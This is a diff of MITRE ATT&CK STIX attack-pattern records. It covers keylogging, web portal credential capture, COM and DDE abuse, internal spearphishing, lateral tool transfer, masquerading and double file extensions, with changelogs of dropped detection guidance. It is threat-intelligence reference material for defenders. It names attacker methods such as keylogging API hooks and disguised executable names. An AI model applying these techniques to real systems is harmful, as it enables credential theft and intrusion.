+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:58:11.791000+00:00",
+ "modified": "2025-10-24 17:48:21.756000+00:00",
+ "name": "Keylogging",
+ "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1056/001",
+ "external_id": "T1056.001"
+ },
+ {
+ "source_name": "Talos Kimsuky Nov 2021",
+ "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
+ "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "Adventures of a Keystroke",
+ "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
+ "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "TruKno"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.756000+00:00\", \"old_value\": \"2025-04-15 19:58:03.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
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+ "shared": [],
+ "new": [
+ "DET0089: Behavioral Detection of Keylogging Activity Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:48:54.254000+00:00",
+ "name": "Web Portal Capture",
+ "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
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+ "phase_name": "credential-access"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1056/003",
+ "external_id": "T1056.003"
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+ {
+ "source_name": "Volexity Virtual Private Keylogging",
+ "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
+ "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
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+ "kill_chain_name": "mitre-attack",
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+ "external_id": "T1559"
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+ {
+ "source_name": "Fireeye Hunting COM June 2019",
+ "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
+ },
+ {
+ "source_name": "Linux IPC",
+ "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.",
+ "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them."
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+ "external_id": "T1559.001"
+ },
+ {
+ "source_name": "ProjectZero File Write EoP Apr 2018",
+ "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
+ "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
+ },
+ {
+ "source_name": "Fireeye Hunting COM June 2019",
+ "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
+ },
+ {
+ "source_name": "Microsoft COM",
+ "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+ },
+ {
+ "source_name": "Enigma MMC20 COM Jan 2017",
+ "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
+ },
+ {
+ "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
+ "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
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+ "shared": [],
+ "new": [
+ "DET0224: Detect Abuse of Component Object Model (T1559.001)"
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+ "modified": "2025-10-24 17:48:31.581000+00:00",
+ "name": "Dynamic Data Exchange",
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+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
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+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1559/002",
+ "external_id": "T1559.002"
+ },
+ {
+ "source_name": "OWASP CSV Injection",
+ "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
+ "url": "https://owasp.org/www-community/attacks/CSV_Injection"
+ },
+ {
+ "source_name": "CSV Excel Macro Injection ",
+ "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
+ "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
+ },
+ {
+ "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
+ "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
+ "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
+ },
+ {
+ "source_name": "SensePost PS DDE May 2016",
+ "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
+ "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
+ },
+ {
+ "source_name": "Fireeye Hunting COM June 2019",
+ "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
+ },
+ {
+ "source_name": "Kettle CSV DDE Aug 2014",
+ "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
+ "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
+ },
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+ "source_name": "Microsoft ADV170021 Dec 2017",
+ "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
+ "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
+ },
+ {
+ "source_name": "Microsoft DDE Advisory Nov 2017",
+ "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
+ "url": "https://technet.microsoft.com/library/security/4053440"
+ },
+ {
+ "source_name": "Enigma Reviving DDE Jan 2018",
+ "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
+ "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
+ },
+ {
+ "source_name": "NVisio Labs DDE Detection Oct 2017",
+ "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
+ "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+ },
+ {
+ "source_name": "SensePost MacroLess DDE Oct 2017",
+ "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
+ "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
+ }
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+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program",
+ "M1048: Application Isolation and Sandboxing",
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+ ],
+ "new": [],
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+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0504: Detect Abuse of Dynamic Data Exchange (T1559.002)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-09-04 19:26:12.441000+00:00",
+ "modified": "2025-10-24 17:49:09.394000+00:00",
+ "name": "Internal Spearphishing",
+ "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1534",
+ "external_id": "T1534"
+ },
+ {
+ "source_name": "Trend Micro When Phishing Starts from the Inside 2017",
+ "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
+ "url": "https://blog.trendmicro.com/phishing-starts-inside/"
+ },
+ {
+ "source_name": "Int SP - chat apps",
+ "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"
+ },
+ {
+ "source_name": "Trend Micro - Int SP",
+ "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.",
+ "url": "https://www.trendmicro.com/en_us/research.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tim MalcomVetter",
+ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS",
+ "Linux",
+ "SaaS",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.394000+00:00\", \"old_value\": \"2025-04-15 22:42:40.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0054: Internal Spearphishing via Trusted Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 21:01:00.959000+00:00",
+ "modified": "2025-10-24 17:49:19.137000+00:00",
+ "name": "Lateral Tool Transfer",
+ "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1570",
+ "external_id": "T1570"
+ },
+ {
+ "source_name": "Dropbox Malware Sync",
+ "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
+ "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
+ },
+ {
+ "source_name": "Unit42 LockerGoga 2019",
+ "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Shailesh Tiwary (Indian Army)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Named Pipe: Named Pipe Metadata\", \"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.137000+00:00\", \"old_value\": \"2025-04-15 19:59:03.832000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.\"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)",
+ "DS0023: Named Pipe (Named Pipe Metadata)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)",
+ "DS0033: Network Share (Network Share Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0183: Detection Strategy for Lateral Tool Transfer across OS platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:38.511000+00:00",
+ "modified": "2025-10-24 17:48:42.609000+00:00",
+ "name": "Masquerading",
+ "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036",
+ "external_id": "T1036"
+ },
+ {
+ "source_name": "Twitter ItsReallyNick Masquerading Update",
+ "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
+ "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
+ },
+ {
+ "source_name": "Elastic Masquerade Ball",
+ "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
+ "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
+ },
+ {
+ "source_name": "LOLBAS Main Site",
+ "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
+ "url": "https://lolbas-project.github.io/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Oleg Kolesnikov, Securonix",
+ "Nick Carr, Mandiant",
+ "David Lu, Tripwire",
+ "Felipe Esp\u00f3sito, @Pr0teus",
+ "Elastic",
+ "Bartosz Jerzman",
+ "Menachem Goldstein"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Containers",
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.8",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Service: Service Creation\", \"Service: Service Metadata\", \"Process: Process Creation\", \"Image: Image Metadata\", \"Scheduled Job: Scheduled Job Metadata\", \"User Account: User Account Creation\", \"File: File Metadata\", \"Scheduled Job: Scheduled Job Modification\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.609000+00:00\", \"old_value\": \"2025-04-15 19:58:26.186000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n\\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n\\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n-\\n-If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n-\\n-Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\"}}}",
+ "previous_version": "1.8",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1045: Code Signing",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Creation)",
+ "DS0003: Scheduled Job (Scheduled Job Metadata)",
+ "DS0003: Scheduled Job (Scheduled Job Modification)",
+ "DS0007: Image (Image Metadata)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0019: Service (Service Metadata)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0127: Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-08-04 20:54:03.066000+00:00",
+ "modified": "2025-10-24 17:48:25.732000+00:00",
+ "name": "Double File Extension",
+ "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/007",
+ "external_id": "T1036.007"
+ },
+ {
+ "source_name": "SOCPrime DoubleExtension",
+ "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
+ "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
+ },
+ {
+ "source_name": "PCMag DoubleExtension",
+ "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
+ "url": "https://www.pcmag.com/encyclopedia/term/double-extension"
+ },
+ {
+ "source_name": "Seqrite DoubleExtension",
+ "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.",
+ "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
